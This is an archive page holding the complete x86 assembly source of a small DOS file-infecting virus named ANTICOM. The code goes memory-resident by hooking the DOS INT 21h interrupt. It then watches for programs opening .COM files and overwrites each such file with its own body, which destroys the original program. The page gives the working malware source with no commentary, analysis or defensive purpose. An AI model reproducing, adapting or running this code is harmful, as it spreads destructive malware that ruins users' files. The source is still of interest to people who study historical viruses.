home *** CD-ROM | disk | FTP | other *** search
- .model tiny
- .code
-
- IVOFS EQU 100H
- ORG 100H
-
- ANTICOM:
- call IN_MEMORY
- jnz LOAD_VIRUS
- ret
- LOAD_VIRUS:
- mov di,IVOFS + 100H
- mov si,100H
- mov cx,OFFSET END_ANTICOM - 105H
- rep movsb
-
- mov bx,21H*4
- xchg ax,es:[bx+2]
- mov cx,ax
- mov ax,OFFSET INT_21 + IVOFS
- xchg ax,es:[bx]
- mov di,OFFSET OLD_21 + IVOFS
- stosw
- mov ax,cx
- stosw
- ret
-
- IN_MEMORY:
- xor ax,ax
- mov es,ax
- mov di,OFFSET INT_21 + IVOFS
- mov bp,sp
- mov si,[bp]
- mov bp,si
- add si,OFFSET INT_21 - 103H
- mov cx,10
- repz cmpsb
- ret
-
- OLD_21 DD ?
- INT_21:
- cmp ah,3DH
- je FILE_OPEN
- I21E: jmp DWORD PTR cs:(OLD_21 + IVOFS)
-
- FILE_OPEN:
- push ax
- push si
- push dx
- push ds
- mov si,dx
- FO1: lodsb
- or al,al
- jz FEX
- cmp al,'.'
- jne FO1
- lodsw
- or ax,2020H
- cmp ax,'oc'
- jne FEX
- lodsb
- or al,20H
- cmp al,'m'
- jne FEX
- mov ax,3D02H
- pushf
- call DWORD PTR cs:(OLD_21 + IVOFS)
- jc FEX
- mov bx,ax
- push cs
- pop ds
- mov ah,40H
- mov dx,IVOFS + 100H
- mov cx,OFFSET END_ANTICOM - 100H
- int 21H
- mov ah,3EH
- int 21H
- FEX: pop ds
- pop dx
- pop si
- pop ax
- jmp I21E
-
- END_ANTICOM:
-
- END ANTICOM
-
-